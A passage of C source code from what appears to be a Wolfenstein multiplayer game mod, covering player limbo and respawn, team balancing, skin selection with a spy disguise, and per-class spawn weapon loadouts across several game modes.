VectorCopy (ent->s.angles, ent->client->ps.viewangles);
}
/* JPW NERVE
================
limbo
================
*/
void limbo( gentity_t *ent, qboolean makeCorpse ) {
int i,contents;
//int startclient = ent->client->sess.spectatorClient;
int startclient = ent->client->ps.clientNum;
if (g_gametype.integer == GT_SINGLE_PLAYER) {
G_Printf("FIXME: limbo called from single player game. Shouldn't see this\n");
return;
}
if (!(ent->client->ps.pm_flags & PMF_LIMBO)) {
// DHM - Nerve :: First save off persistant info we'll need for respawn
for (i=0; i<MAX_PERSISTANT; i++)
ent->client->saved_persistant[i] = ent->client->ps.persistant[i];
// dhm
ent->client->ps.pm_flags |= PMF_LIMBO;
#ifdef OMNIBOT
// bots should not follow, causes problems
if (!ent->r.svFlags & SVF_BOT){
ent->client->ps.pm_flags |= PMF_FOLLOW;
}
#else
ent->client->ps.pm_flags |= PMF_FOLLOW;
#endif // OMNIBOT
if ( makeCorpse )
CopyToBodyQue (ent); // make a nice looking corpse
else
trap_UnlinkEntity (ent);
// DHM - Nerve :: reset these values
ent->client->ps.viewlocked = 0;
ent->client->ps.viewlocked_entNum = 0;
ent->r.maxs[2] = 0;
ent->r.currentOrigin[2] += 8;
contents = trap_PointContents( ent->r.currentOrigin, -1 ); // drop stuff
ent->s.weapon = ent->client->limboDropWeapon; // stored in player_die()
if ( makeCorpse && !( contents & CONTENTS_NODROP ) ) {
TossClientItems( ent );
}
#ifdef OMNIBOT
//bots can't follow
if (ent->r.svFlags & SVF_BOT)
{
ent->client->sess.spectatorClient = ent->client->ps.clientNum;
ent->client->sess.spectatorState = SPECTATOR_FREE;
}
else
{
ent->client->sess.spectatorClient = startclient;
Cmd_FollowCycle_f(ent,1); // get fresh spectatorClient
if (ent->client->sess.spectatorClient == startclient) {
// No one to follow, so just stay put
ent->client->sess.spectatorState = SPECTATOR_FREE;
}
else
ent->client->sess.spectatorState = SPECTATOR_FOLLOW;
}
#else
ent->client->sess.spectatorClient = startclient;
Cmd_FollowCycle_f(ent,1); // get fresh spectatorClient
if (ent->client->sess.spectatorClient == startclient) {
// No one to follow, so just stay put
ent->client->sess.spectatorState = SPECTATOR_FREE;
}
else
ent->client->sess.spectatorState = SPECTATOR_FOLLOW;
#endif // OMNIBOT
// ClientUserinfoChanged( ent->client - level.clients ); // NERVE - SMF - don't do this
if (ent->client->sess.sessionTeam == TEAM_RED) {
ent->client->deployQueueNumber = level.redNumWaiting;
level.redNumWaiting++;
}
else if (ent->client->sess.sessionTeam == TEAM_BLUE) {
ent->client->deployQueueNumber = level.blueNumWaiting;
level.blueNumWaiting++;
}
#ifdef OMNIBOT
// one last anal check..really don't want them following
for ( i = 0 ; i < level.maxclients ; i++ ) {
if ((&g_entities[i])->r.svFlags & SVF_BOT)
continue;
}
#endif // OMNIBOT
for ( i = 0 ; i < level.maxclients ; i++ ) {
if (level.clients[i].ps.pm_flags & PMF_LIMBO
&& level.clients[i].sess.spectatorClient == ent->s.number ) {
Cmd_FollowCycle_f( &g_entities[i], 1 );
}
}
}
}
/* JPW NERVE
================
reinforce
================
// -- called when time expires for a team deployment cycle and there is at least one guy ready to go
*/
void reinforce(gentity_t *ent) {
int p, team;// numDeployable=0, finished=0; // TTimo unused
char *classname;
gclient_t *rclient;
if (g_gametype.integer == GT_SINGLE_PLAYER) {
G_Printf("FIXME: reinforce called from single player game. Shouldn't see this\n");
return;
}
if (!(ent->client->ps.pm_flags & PMF_LIMBO)) {
G_Printf("player already deployed, skipping\n");
return;
}
// get team to deploy from passed entity
team = ent->client->sess.sessionTeam;
// find number active team spawnpoints
if (team == TEAM_RED)
classname = "team_CTF_redspawn";
else if (team == TEAM_BLUE)
classname = "team_CTF_bluespawn";// team_CTF_blueflag // blueplayer //bluespawn //team_WOLF_checkpoint//team_WOLF_objective//info_player_checkpoint// deathmatch//intermission//start
else
assert(0);
// DHM - Nerve :: restore persistant data now that we're out of Limbo
rclient = ent->client;
for (p=0; p<MAX_PERSISTANT; p++)
rclient->ps.persistant[p] = rclient->saved_persistant[p];
// dhm
respawn(ent);
}
// jpw
/*
================
respawn
================
*/
void respawn( gentity_t *ent ) {
ent->client->ps.pm_flags &= ~PMF_LIMBO; // JPW NERVE turns off limbo
// DHM - Nerve :: Decrease the number of respawns left
if(g_gamestate.integer == GS_PLAYING){
if ( g_maxlives.integer > 0 && ent->client->ps.persistant[PERS_RESPAWNS_LEFT] > 0 )
ent->client->ps.persistant[PERS_RESPAWNS_LEFT]--;
}
G_DPrintf( "Respawning %s, %i lives left\n", ent->client->pers.netname, ent->client->ps.persistant[PERS_RESPAWNS_LEFT]);
// DHM - Nerve :: Already handled in 'limbo()'
if ( g_gametype.integer < GT_WOLF )
CopyToBodyQue (ent);
ClientSpawn(ent, qfalse);
//ANTILAG - reset the origin trails
G_ResetTrail( ent );
ent->client->saved.leveltime = 0;
//Begin Agent respawn sound
//only play if we are during a match ;)
/*
if(g_gamestate.integer == GS_PLAYING){
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/respawn.wav");
te->s.teamNum = ent->s.clientNum;
}*/ //JULY 23, 2007 this is really annoying its getting /deleted now
//End Agent
// DHM - Nerve :: Add back if we decide to have a spawn effect
// add a teleportation effect
// tent = G_TempEntity( ent->client->ps.origin, EV_PLAYER_TELEPORT_IN );
// tent->s.clientNum = ent->s.clientNum;
}
// NERVE - SMF - merge from team arena
/*
================
TeamCount
Returns number of players on a team
================
*/
team_t TeamCount( int ignoreClientNum, int team ) {
int i;
int count = 0;
for ( i = 0 ; i < level.maxclients ; i++ ) {
if ( i == ignoreClientNum ) {
continue;
}
if ( level.clients[i].pers.connected == CON_DISCONNECTED ) {
continue;
}
if ( level.clients[i].sess.sessionTeam == team ) {
count++;
}
}
return count;
}
// -NERVE - SMF
/*
================
PickTeam
================
*/
team_t PickTeam( int ignoreClientNum ) {
int i;
int counts[TEAM_NUM_TEAMS];
memset( counts, 0, sizeof( counts ) );
for ( i = 0 ; i < level.maxclients ; i++ ) {
if ( i == ignoreClientNum ) {
continue;
}
if ( level.clients[i].pers.connected == CON_DISCONNECTED ) {
continue;
}
if ( level.clients[i].sess.sessionTeam == TEAM_BLUE ) {
counts[TEAM_BLUE]++;
}
else if ( level.clients[i].sess.sessionTeam == TEAM_RED ) {
counts[TEAM_RED]++;
}
}
if ( counts[TEAM_BLUE] > counts[TEAM_RED] ) {
return TEAM_RED;
}
if ( counts[TEAM_RED] > counts[TEAM_BLUE] ) {
return TEAM_BLUE;
}
// equal team count, so join the team with the lowest score
if ( level.teamScores[TEAM_BLUE] > level.teamScores[TEAM_RED] ) {
return TEAM_RED;
}
return TEAM_BLUE;
}
/*
===========
ForceClientSkin
Forces a client's skin (for teamplay)
===========
*/
void ForceClientSkin( gclient_t *client, char *model, const char *skin ) {
char *p;
if ((p = strchr(model, '/')) != NULL) {
*p = 0;
}
Q_strcat(model, MAX_QPATH, "/");
Q_strcat(model, MAX_QPATH, skin);
}
// NERVE - SMF
/*
===========
SetWolfUserVars
===========
*/
void SetWolfUserVars( gentity_t *ent, char *wolfinfo ) {
gclient_t *client;
int mask, team;
client = ent->client;
if ( !client )
return;
// check if we have a valid snapshot
mask = MP_TEAM_MASK;
team = ( client->pers.cmd.mpSetup & mask ) >> MP_TEAM_OFFSET;
if ( !team )
return;
// set player class
mask = MP_CLASS_MASK;
client->sess.latchPlayerType = ( client->pers.cmd.mpSetup & mask ) >> MP_CLASS_OFFSET;
// set weapon
mask = MP_WEAPON_MASK;
client->sess.latchPlayerWeapon = ( client->pers.cmd.mpSetup & mask ) >> MP_WEAPON_OFFSET;
}
// -NERVE - SMF
// DHM - Nerve
/*
===========
SetWolfSkin
Forces a client's skin (for Wolfenstein teamplay)
===========
*/
#define MULTIPLAYER_ALLIEDMODEL "multi"
#define MULTIPLAYER_AXISMODEL "multi_axis"
//S4NDM4NN-edited this to work with spy
void SetWolfSkin( gclient_t *client, char *model ) {
switch( client->sess.sessionTeam ) {
case TEAM_RED:
if(!client->ps.isSpy)
Q_strcat( model, MAX_QPATH, "red" );
else
Q_strcat( model, MAX_QPATH, "blue" );
break;
case TEAM_BLUE:
if(!client->ps.isSpy)
Q_strcat( model, MAX_QPATH, "blue" );
else
Q_strcat( model, MAX_QPATH, "red" );
break;
default:
Q_strcat( model, MAX_QPATH, "red" );
break;
}
switch ( client->sess.playerType ) {
case PC_SOLDIER:
if(!client->ps.isSpy)
Q_strcat( model, MAX_QPATH, "soldier" );
else{
if(client->ps.spyType == 0)
Q_strcat( model, MAX_QPATH, "soldier" );
else if(client->ps.spyType == 1)
Q_strcat( model, MAX_QPATH, "medic" );
else if(client->ps.spyType == 2)
Q_strcat( model, MAX_QPATH, "engineer" );
else
Q_strcat( model, MAX_QPATH, "lieutenant" );
}
break;
case PC_MEDIC:
if(!client->ps.isSpy)
Q_strcat( model, MAX_QPATH, "medic" );
else{
if(client->ps.spyType == 0)
Q_strcat( model, MAX_QPATH, "soldier" );
else if(client->ps.spyType == 1)
Q_strcat( model, MAX_QPATH, "medic" );
else if(client->ps.spyType == 2)
Q_strcat( model, MAX_QPATH, "engineer" );
else
Q_strcat( model, MAX_QPATH, "lieutenant" );
}
break;
case PC_ENGINEER:
if(!client->ps.isSpy)
Q_strcat( model, MAX_QPATH, "engineer" );
else{
if(client->ps.spyType == 0)
Q_strcat( model, MAX_QPATH, "soldier" );
else if(client->ps.spyType == 1)
Q_strcat( model, MAX_QPATH, "medic" );
else if(client->ps.spyType == 2)
Q_strcat( model, MAX_QPATH, "engineer" );
else
Q_strcat( model, MAX_QPATH, "lieutenant" );
}
break;
case PC_LT:
if(!client->ps.isSpy)
Q_strcat( model, MAX_QPATH, "lieutenant" );
else{
if(client->ps.spyType == 0)
Q_strcat( model, MAX_QPATH, "soldier" );
else if(client->ps.spyType == 1)
Q_strcat( model, MAX_QPATH, "medic" );
else if(client->ps.spyType == 2)
Q_strcat( model, MAX_QPATH, "engineer" );
else
Q_strcat( model, MAX_QPATH, "lieutenant" );
}
break;
default:
if(!client->ps.isSpy)
Q_strcat( model, MAX_QPATH, "soldier" );
else{
if(client->ps.spyType == 0)
Q_strcat( model, MAX_QPATH, "soldier" );
else if(client->ps.spyType == 1)
Q_strcat( model, MAX_QPATH, "medic" );
else if(client->ps.spyType == 2)
Q_strcat( model, MAX_QPATH, "engineer" );
else
Q_strcat( model, MAX_QPATH, "lieutenant" );
}
break;
}
// DHM - A skinnum will be in the session data soon...
switch ( client->sess.playerSkin ) {
case 1:
Q_strcat( model, MAX_QPATH, "1" );
break;
case 2:
Q_strcat( model, MAX_QPATH, "2" );
break;
case 3:
Q_strcat( model, MAX_QPATH, "3" );
break;
default:
Q_strcat( model, MAX_QPATH, "1" );
break;
}
}
void SetWolfSpawnWeapons( gclient_t *client ) {
int pc = client->sess.playerType;
int starthealth = 100,i,numMedics=0; // JPW NERVE
if ( client->sess.sessionTeam == TEAM_SPECTATOR )
return;
#ifdef OMNIBOT
Bot_Event_ResetWeapons(client->ps.clientNum);
#endif
client->ps.classWeaponTime = -999999;
if(g_deathmatch.integer !=2){
if(g_gamestate.integer == GS_PLAYING)//S4NDM4NN-you dont need to be invulnarable in warmup makes a slaughter house withough
client->ps.powerups[PW_INVULNERABLE] = level.time + 3000; // JPW NERVE some time to find cover
}else{
client->ps.powerups[PW_INVULNERABLE] = level.time + 1000;
}
if (g_smokingPlayers.integer)
client->ps.eFlags |= EF_SMOKINGBLACK;
// Communicate it to cgame
client->ps.stats[STAT_PLAYER_CLASS] = pc;
// Abuse teamNum to store player class as well (can't see stats for all clients in cgame)
client->ps.teamNum = pc;
// JPW NERVE -- zero out all ammo counts
memset(client->ps.ammo,MAX_WEAPONS,sizeof(int));
if(g_makeDMspawns.integer){//Give them nothing so we dont get confused
client->ps.weapons[0] = 0;
client->ps.weapons[1] = 0;
}else if (g_panzerParty.integer){
COM_BitSet( client->ps.weapons, WP_PANZERFAUST );
if (g_panzerClips.integer > 1)
client->ps.ammoclip[BG_FindClipForWeapon(WP_PANZERFAUST)] = g_panzerClips.integer;
client->ps.ammo[BG_FindAmmoForWeapon(WP_PANZERFAUST)] = g_extraPanzerClips.integer;
client->ps.weapon = WP_PANZERFAUST;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PANZERFAUST));
#endif
//============= SPAM WAR!
}else if (g_SpamWar.integer){
COM_BitSet( client->ps.weapons, WP_KNIFE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_KNIFE)] = 1;
client->ps.weapon = WP_KNIFE;
client->ps.weaponstate = WEAPON_READY;
COM_BitSet( client->ps.weapons, WP_PANZERFAUST );
client->ps.ammoclip[BG_FindClipForWeapon(WP_PANZERFAUST)] = 99999;
client->ps.ammo[BG_FindAmmoForWeapon(WP_PANZERFAUST)] = 999999;
client->ps.weapon = WP_PANZERFAUST;
COM_BitSet( client->ps.weapons, WP_DYNAMITE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_DYNAMITE)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_DYNAMITE)] = 1;
// NERVE - SMF
COM_BitSet( client->ps.weapons, WP_PLIERS);
client->ps.ammoclip[BG_FindClipForWeapon(WP_PLIERS)] = 1;
client->ps.ammo[WP_PLIERS] = 1;
client->ps.stats[STAT_KEYS] |= ( 1 << INV_BINOCS );
COM_BitSet(client->ps.weapons, WP_ARTY);
client->ps.ammo[BG_FindAmmoForWeapon(WP_ARTY)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_ARTY)] = 1;
// NERVE - SMF
COM_BitSet( client->ps.weapons, WP_SMOKE_GRENADE);
client->ps.ammoclip[BG_FindClipForWeapon(WP_SMOKE_GRENADE)] = 1;
client->ps.ammo[WP_SMOKE_GRENADE] = 1;
COM_BitSet( client->ps.weapons, WP_VENOM );
client->ps.ammoclip[BG_FindAmmoForWeapon(WP_VENOM)] = 99999;
client->ps.ammo[BG_FindAmmoForWeapon(WP_VENOM)] = 99999;
client->ps.weapon = WP_VENOM;
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 99999;
COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = 99999;
COM_BitSet( client->ps.weapons, WP_FLAMETHROWER );
client->ps.ammoclip[BG_FindAmmoForWeapon(WP_FLAMETHROWER)] = 999999;
client->ps.weapon = WP_FLAMETHROWER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_KNIFE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PANZERFAUST));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PLIERS));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_SMOKE_GRENADE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_VENOM));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_LAUNCHER));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_FLAMETHROWER));
// sort of a hack. bots need it for ammo table lookup so they can use the call arty goal
COM_BitSet(client->ps.weapons, WP_BINOCULARS);
client->ps.ammo[BG_FindAmmoForWeapon(WP_BINOCULARS)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_BINOCULARS)] = 1;
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_BINOCULARS));
#endif
}else if (g_instaGib.integer){
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 10;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 999;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
//if mines are enabled give them to everybody in goldrush/instagib
if(g_mines.integer)
{
COM_BitSet( client->ps.weapons, WP_DYNAMITE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_DYNAMITE)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_DYNAMITE)] = 1;
// NERVE - SMF
COM_BitSet( client->ps.weapons, WP_PLIERS);
client->ps.ammoclip[BG_FindClipForWeapon(WP_PLIERS)] = 1;
client->ps.ammo[WP_PLIERS] = 1;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_DYNAMITE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PLIERS));
#endif
}else if(!g_deathmatch.integer && !g_goldrush.integer){
if ( pc == PC_ENGINEER ) {
COM_BitSet( client->ps.weapons, WP_DYNAMITE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_DYNAMITE)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_DYNAMITE)] = 1;
// NERVE - SMF
COM_BitSet( client->ps.weapons, WP_PLIERS);
client->ps.ammoclip[BG_FindClipForWeapon(WP_PLIERS)] = 1;
client->ps.ammo[WP_PLIERS] = 1;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_DYNAMITE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PLIERS));
#endif
}
}
}else if (g_deathmatch.integer == 2){
client->ps.weapons[0] = 0;
client->ps.weapons[1] = 0;
if(level.endDeathmatch)
client->ps.endDeathmatch++;
if(!level.endDeathmatch){
COM_BitSet( client->ps.weapons, WP_KNIFE );
if (g_throwableKnives.integer > 0)
client->pers.throwingKnives = g_throwableKnives.integer;
client->ps.ammo[BG_FindAmmoForWeapon(WP_KNIFE)] = 1;
client->ps.weapon = WP_KNIFE;
client->ps.weaponstate = WEAPON_READY;
COM_BitSet( client->ps.weapons, WP_COLT);
client->ps.ammoclip[BG_FindClipForWeapon(WP_COLT)] = 8;
client->ps.ammo[BG_FindAmmoForWeapon(WP_COLT)] = 24;
client->ps.weapon = WP_COLT;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_KNIFE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_COLT));
#endif
}else if(level.endDeathmatch && (level.highkiller->client == client)){
COM_BitSet( client->ps.weapons, WP_PANZERFAUST );
//give him ammo and lots of it
client->ps.ammoclip[BG_FindClipForWeapon(WP_PANZERFAUST)] = 1000000;
client->ps.ammo[BG_FindAmmoForWeapon(WP_PANZERFAUST)] = 1000000;
client->ps.powerups[PW_REDFLAG] = INT_MAX;
client->ps.powerups[PW_QUAD] = INT_MAX;
//give him some god he deserves it
level.highkiller->flags |= FL_GODMODE;
//no fatige is always nice
level.highkiller->flags |= FL_NOFATIGUE;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PANZERFAUST));
#endif
}
}else if (g_SniperMode.integer){
client->ps.weapons[0] = 0;
client->ps.weapons[1] = 0;
COM_BitSet( client->ps.weapons, WP_KNIFE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_KNIFE)] = 1;
client->ps.weapon = WP_KNIFE;
client->ps.weaponstate = WEAPON_READY;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_KNIFE));
#endif
if (g_autoSniper.integer){
COM_BitSet( client->ps.weapons, WP_SNIPERRIFLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_SNIPERRIFLE)] = 20;
client->ps.ammo[BG_FindAmmoForWeapon(WP_SNIPERRIFLE)] = 999999;
client->ps.weapon = WP_SNIPERRIFLE;
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 20;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 999999;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_SNIPERRIFLE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
}else{
COM_BitSet( client->ps.weapons, WP_SNIPERRIFLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_SNIPERRIFLE)] = 10;
client->ps.ammo[BG_FindAmmoForWeapon(WP_SNIPERRIFLE)] = 999999;
client->ps.weapon = WP_SNIPERRIFLE;
COM_BitSet( client->ps.weapons, WP_MAUSER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_MAUSER)] = 10;
client->ps.ammo[BG_FindAmmoForWeapon(WP_MAUSER)] = 999999;
client->ps.weapon = WP_MAUSER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_SNIPERRIFLE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MAUSER));
#endif
}
COM_BitSet( client->ps.weapons, WP_SMOKE_GRENADE);
client->ps.ammoclip[BG_FindClipForWeapon(WP_SMOKE_GRENADE)] = 1;
client->ps.ammo[WP_SMOKE_GRENADE] = 1;
COM_BitSet(client->ps.weapons, WP_MEDIC_SYRINGE);
client->ps.ammoclip[BG_FindClipForWeapon(WP_MEDIC_SYRINGE)] = 1;
client->ps.stats[STAT_KEYS] |= ( 1 << INV_BINOCS );
COM_BitSet(client->ps.weapons, WP_ARTY);
client->ps.ammo[BG_FindAmmoForWeapon(WP_ARTY)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_ARTY)] = 1;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_SMOKE_GRENADE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_MEDIC_SYRINGE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_ARTY));
#endif
}
else{
if(!g_theTrenchesMode.integer){
// All players start with a knife (not OR-ing so that it clears previous weapons)
client->ps.weapons[0] = 0;
client->ps.weapons[1] = 0;
COM_BitSet( client->ps.weapons, WP_KNIFE );
if (g_throwableKnives.integer > 0)
client->pers.throwingKnives = g_throwableKnives.integer;
client->ps.ammo[BG_FindAmmoForWeapon(WP_KNIFE)] = 1;
client->ps.weapon = WP_KNIFE;
client->ps.weaponstate = WEAPON_READY;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_KNIFE));
#endif
// Engineer gets dynamite
if ( pc == PC_ENGINEER ) {
COM_BitSet( client->ps.weapons, WP_DYNAMITE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_DYNAMITE)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_DYNAMITE)] = 1;
// NERVE - SMF
COM_BitSet( client->ps.weapons, WP_PLIERS);
client->ps.ammoclip[BG_FindClipForWeapon(WP_PLIERS)] = 1;
client->ps.ammo[WP_PLIERS] = 1;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_DYNAMITE));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_PLIERS));
#endif
}
// Scouts gets binoculars and 2 grenades
if ( pc == PC_SCOUT ) {
client->ps.stats[STAT_KEYS] |= ( 1 << INV_BINOCS );
COM_BitSet( client->ps.weapons, WP_STEN );
client->ps.ammoclip[BG_FindClipForWeapon(WP_STEN)] += 32;
client->ps.ammo[BG_FindAmmoForWeapon(WP_STEN)] += 32;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_STEN));
// sort of a hack. bots need it for ammo table lookup so they can use the call arty goal
COM_BitSet(client->ps.weapons, WP_BINOCULARS);
client->ps.ammo[BG_FindAmmoForWeapon(WP_BINOCULARS)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_BINOCULARS)] = 1;
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_BINOCULARS));
#endif
switch( client->sess.sessionTeam ) {
case TEAM_BLUE:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 2;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
case TEAM_RED:
COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = 2;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_LAUNCHER));
#endif
break;
default:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 2;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
}
}
// Lieutenant gets binoculars, ammo pack, artillery, and a grenade
if ( pc == PC_LT ) {
client->ps.stats[STAT_KEYS] |= ( 1 << INV_BINOCS );
COM_BitSet(client->ps.weapons, WP_AMMO);
client->ps.ammo[BG_FindAmmoForWeapon(WP_AMMO)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_AMMO)] = 1;
COM_BitSet(client->ps.weapons, WP_ARTY);
client->ps.ammo[BG_FindAmmoForWeapon(WP_ARTY)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_ARTY)] = 1;
// NERVE - SMF
COM_BitSet( client->ps.weapons, WP_SMOKE_GRENADE);
client->ps.ammoclip[BG_FindClipForWeapon(WP_SMOKE_GRENADE)] = 1;
client->ps.ammo[WP_SMOKE_GRENADE] = 1;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_AMMO));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_ARTY));
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_SMOKE_GRENADE));
// sort of a hack. bots need it for ammo table lookup so they can use the call arty goal
COM_BitSet(client->ps.weapons, WP_BINOCULARS);
client->ps.ammo[BG_FindAmmoForWeapon(WP_BINOCULARS)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_BINOCULARS)] = 1;
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_BINOCULARS));
#endif
switch( client->sess.sessionTeam ) {
case TEAM_BLUE:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = g_ltNades.integer;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
case TEAM_RED:
COM_BitSet( client->ps.weapons, WP_GRENADE_LAUNCHER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)] = g_ltNades.integer;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_LAUNCHER));
#endif
break;
default:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = 1;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
}
}
// Everyone gets a pistol
switch( client->sess.sessionTeam ) { // JPW NERVE was playerPistol
case TEAM_RED: // JPW NERVE
COM_BitSet( client->ps.weapons, WP_LUGER );
client->ps.ammoclip[BG_FindClipForWeapon(WP_LUGER)] += 8;
client->ps.ammo[BG_FindAmmoForWeapon(WP_LUGER)] += g_pistolExtraClips.integer*8;
client->ps.weapon = WP_LUGER;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_LUGER));
#endif
break;
default: // '0' // TEAM_BLUE
COM_BitSet( client->ps.weapons, WP_COLT );
client->ps.ammoclip[BG_FindClipForWeapon(WP_COLT)] += 8;
client->ps.ammo[BG_FindAmmoForWeapon(WP_COLT)] += g_pistolExtraClips.integer*8;
client->ps.weapon = WP_COLT;
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_COLT));
#endif
break;
}
// Everyone except Medic and LT get some grenades
if (pc == PC_ENGINEER) { // JPW NERVE
switch( client->sess.sessionTeam ) { // was playerItem
case TEAM_BLUE:
COM_BitSet( client->ps.weapons, WP_GRENADE_PINEAPPLE );
client->ps.ammo[BG_FindAmmoForWeapon(WP_GRENADE_PINEAPPLE)] = 0;
client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)] = g_engNades.integer; // JPW NERVE
#ifdef OMNIBOT
Bot_Event_AddWeapon(client->ps.clientNum, Bot_WeaponGameToBot(WP_GRENADE_PINEAPPLE));
#endif
break;
case TEAM_RED:
